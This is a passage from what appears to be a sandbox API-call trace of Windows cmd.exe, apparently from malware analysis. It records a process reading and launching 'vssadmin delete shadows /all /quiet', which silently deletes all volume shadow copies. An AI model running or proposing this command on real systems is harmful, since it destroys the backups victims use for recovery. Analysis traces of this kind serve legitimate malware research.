hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e360, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.198] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e362, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0266.198] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.198] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.198] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.199] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e364, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0266.199] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.199] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.199] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0266.199] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e366, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0266.199] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.199] GetFileType (hFile=0xe8) returned 0x3 [0266.199] _get_osfhandle (_FileHandle=0) returned 0xe8 [0266.199] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.199] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.199] GetFileType (hFile=0xf4) returned 0x3 [0266.199] _get_osfhandle (_FileHandle=1) returned 0xf4 [0266.199] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0266.199] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1af888, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af888*=0x24, lpOverlapped=0x0) returned 1 [0266.199] GetProcessHeap () returned 0x390000 [0266.199] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x4012) returned 0x3b1010 [0266.199] GetProcessHeap () returned 0x390000 [0266.199] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3b1010 | out: hHeap=0x390000) returned 1 [0266.199] GetProcessHeap () returned 0x390000 [0266.199] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb0) returned 0x3a9840 [0266.199] GetProcessHeap () returned 0x390000 [0266.199] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x22) returned 0x3a4630 [0266.200] GetProcessHeap () returned 0x390000 [0266.200] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x48) returned 0x3b0090 [0266.200] GetConsoleOutputCP () returned 0x4e3 [0266.200] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0266.200] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0266.200] GetConsoleTitleW (in: lpConsoleTitle=0x1af840, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0266.200] GetProcessHeap () returned 0x390000 [0266.200] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x218) returned 0x3aaae0 [0266.200] GetProcessHeap () returned 0x390000 [0266.200] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x5a) returned 0x3a9a50 [0266.200] GetProcessHeap () returned 0x390000 [0266.200] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x420) returned 0x3ab9a0 [0266.200] SetErrorMode (uMode=0x0) returned 0x0 [0266.200] SetErrorMode (uMode=0x1) returned 0x0 [0266.200] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3ab9b0, lpFilePart=0x1af0d0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1af0d0*="system32") returned 0x13 [0266.200] SetErrorMode (uMode=0x0) returned 0x1 [0266.200] GetProcessHeap () returned 0x390000 [0266.200] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3ab9a0, Size=0x4a) returned 0x3ab9a0 [0266.200] GetProcessHeap () returned 0x390000 [0266.200] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3ab9a0) returned 0x4a [0266.201] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0266.201] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x104) returned 0x3a5bb0 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x1f8) returned 0x3aba00 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3aba00, Size=0x106) returned 0x3aba00 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3aba00) returned 0x106 [0266.201] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xe8) returned 0x3a9c60 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3a9c60, Size=0x7e) returned 0x3a9c60 [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3a9c60) returned 0x7e [0266.201] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0266.201] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x1aee40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aee40) returned 0x3a5cc0 [0266.201] FindClose (in: hFindFile=0x3a5cc0 | out: hFindFile=0x3a5cc0) returned 1 [0266.201] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x1aee40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aee40) returned 0xffffffffffffffff [0266.201] GetLastError () returned 0x2 [0266.201] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x1aee40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aee40) returned 0x3b1040 [0266.201] FindClose (in: hFindFile=0x3b1040 | out: hFindFile=0x3b1040) returned 1 [0266.201] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0266.201] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0266.201] GetConsoleTitleW (in: lpConsoleTitle=0x1af390, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0266.201] GetProcessHeap () returned 0x390000 [0266.201] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x21c) returned 0x3abb20 [0266.201] GetConsoleTitleW (in: lpConsoleTitle=0x3abb30, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0266.202] GetProcessHeap () returned 0x390000 [0266.202] RtlReAllocateHeap (Heap=0x390000, Flags=0x0, Ptr=0x3abb20, Size=0xa2) returned 0x3abb20 [0266.202] GetProcessHeap () returned 0x390000 [0266.202] RtlSizeHeap (HeapHandle=0x390000, Flags=0x0, MemoryPointer=0x3abb20) returned 0xa2 [0266.202] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0266.202] GetProcessHeap () returned 0x390000 [0266.202] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3abb20 | out: hHeap=0x390000) returned 1 [0266.202] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af148, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af108 | out: lpAttributeList=0x1af148, lpSize=0x1af108) returned 1 [0266.202] UpdateProcThreadAttribute (in: lpAttributeList=0x1af148, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af0f8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af148, lpPreviousValue=0x0) returned 1 [0266.202] GetStartupInfoW (in: lpStartupInfo=0x1af260 | out: lpStartupInfo=0x1af260*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0266.202] GetProcessHeap () returned 0x390000 [0266.202] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x20) returned 0x3a4660 [0266.202] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0266.202] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0266.202] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0266.202] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0266.202] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0266.203] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0266.203] GetProcessHeap () returned 0x390000 [0266.203] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4660 | out: hHeap=0x390000) returned 1 [0266.203] GetProcessHeap () returned 0x390000 [0266.203] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0x12) returned 0x3a9ac0 [0266.204] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x1af180*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af130 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x1af130*(hProcess=0x50, hThread=0x54, dwProcessId=0x66c, dwThreadId=0x670)) returned 1 [0266.217] CloseHandle (hObject=0x54) returned 1 [0266.217] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0266.217] GetProcessHeap () returned 0x390000 [0266.217] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3af4e0 | out: hHeap=0x390000) returned 1 [0266.217] GetEnvironmentStringsW () returned 0x3a89c0* [0266.217] GetProcessHeap () returned 0x390000 [0266.217] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb22) returned 0x3ae9b0 [0266.217] FreeEnvironmentStringsW (penv=0x3a89c0) returned 1 [0266.217] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aea38, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aea38, ReturnLength=0x0) returned 0x0 [0266.217] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdd000, lpBuffer=0x1aea70, nSize=0x380, lpNumberOfBytesRead=0x1aea30 | out: lpBuffer=0x1aea70*, lpNumberOfBytesRead=0x1aea30*=0x380) returned 1 [0266.217] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0268.035] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af078 | out: lpExitCode=0x1af078*=0x2) returned 1 [0268.035] CloseHandle (hObject=0x50) returned 1 [0268.035] _vsnwprintf (in: _Buffer=0x1af2e8, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af088 | out: _Buffer="00000002") returned 8 [0268.036] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0268.036] GetProcessHeap () returned 0x390000 [0268.036] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ae9b0 | out: hHeap=0x390000) returned 1 [0268.036] GetEnvironmentStringsW () returned 0x3a89c0* [0268.036] GetProcessHeap () returned 0x390000 [0268.036] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb22) returned 0x3ae9b0 [0268.036] FreeEnvironmentStringsW (penv=0x3a89c0) returned 1 [0268.036] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0268.036] GetProcessHeap () returned 0x390000 [0268.036] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ae9b0 | out: hHeap=0x390000) returned 1 [0268.036] GetEnvironmentStringsW () returned 0x3a89c0* [0268.036] GetProcessHeap () returned 0x390000 [0268.036] RtlAllocateHeap (HeapHandle=0x390000, Flags=0x8, Size=0xb22) returned 0x3ae9b0 [0268.036] FreeEnvironmentStringsW (penv=0x3a89c0) returned 1 [0268.036] GetProcessHeap () returned 0x390000 [0268.036] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9ac0 | out: hHeap=0x390000) returned 1 [0268.036] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af148 | out: lpAttributeList=0x1af148) [0268.036] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0268.037] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.037] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0268.037] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.037] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4a4fe194 | out: lpMode=0x4a4fe194) returned 0 [0268.037] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.037] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4a4fe198 | out: lpMode=0x4a4fe198) returned 0 [0268.037] GetConsoleOutputCP () returned 0x4e3 [0268.037] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x4a50bfe0 | out: lpCPInfo=0x4a50bfe0) returned 1 [0268.037] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0268.037] GetProcessHeap () returned 0x390000 [0268.037] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9c60 | out: hHeap=0x390000) returned 1 [0268.037] GetProcessHeap () returned 0x390000 [0268.037] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aba00 | out: hHeap=0x390000) returned 1 [0268.037] GetProcessHeap () returned 0x390000 [0268.037] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a5bb0 | out: hHeap=0x390000) returned 1 [0268.037] GetProcessHeap () returned 0x390000 [0268.037] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3ab9a0 | out: hHeap=0x390000) returned 1 [0268.037] GetProcessHeap () returned 0x390000 [0268.037] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9a50 | out: hHeap=0x390000) returned 1 [0268.038] GetProcessHeap () returned 0x390000 [0268.038] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3aaae0 | out: hHeap=0x390000) returned 1 [0268.038] GetProcessHeap () returned 0x390000 [0268.038] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3b0090 | out: hHeap=0x390000) returned 1 [0268.038] GetProcessHeap () returned 0x390000 [0268.038] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a4630 | out: hHeap=0x390000) returned 1 [0268.038] GetProcessHeap () returned 0x390000 [0268.038] HeapFree (in: hHeap=0x390000, dwFlags=0x0, lpMem=0x3a9840 | out: hHeap=0x390000) returned 1 [0268.038] _vsnwprintf (in: _Buffer=0x4a516340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af5a8 | out: _Buffer="\r\n") returned 2 [0268.038] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.038] GetFileType (hFile=0xf4) returned 0x3 [0268.038] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.038] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0268.038] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af578, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af578*=0x2, lpOverlapped=0x0) returned 1 [0268.038] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a4ff360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0268.038] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a50c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0268.038] _vsnwprintf (in: _Buffer=0x4a4feb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af5b8 | out: _Buffer="C:\\Windows\\system32") returned 19 [0268.038] _vsnwprintf (in: _Buffer=0x4a4feb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1af5b8 | out: _Buffer=">") returned 1 [0268.038] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.038] GetFileType (hFile=0xf4) returned 0x3 [0268.038] _get_osfhandle (_FileHandle=1) returned 0xf4 [0268.038] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a50c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0268.038] WriteFile (in: hFile=0xf4, lpBuffer=0x4a50c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1af5a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesWritten=0x1af5a8*=0x14, lpOverlapped=0x0) returned 1 [0268.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.038] GetFileType (hFile=0xe8) returned 0x3 [0268.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.038] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0268.038] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e320, cchWideChar=1 | out: lpWideCharStr="Essadmin delete shadows /all /quiet\n") returned 1 [0268.038] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.038] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, lpNumberOfBytesRead=0x1af8a8*=0x1, lpOverlapped=0x0) returned 1 [0268.039] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a50c320, cbMultiByte=1, lpWideCharStr=0x4a50e322, cchWideChar=1 | out: lpWideCharStr="xsadmin delete shadows /all /quiet\n") returned 1 [0268.039] _get_osfhandle (_FileHandle=0) returned 0xe8 [0268.039] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0268.039] ReadFile (in: hFile=0xe8, lpBuffer=0x4a50c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1af8a8, lpOverlapped=0x0 | out: lpBuffer=0x4a50c320*, 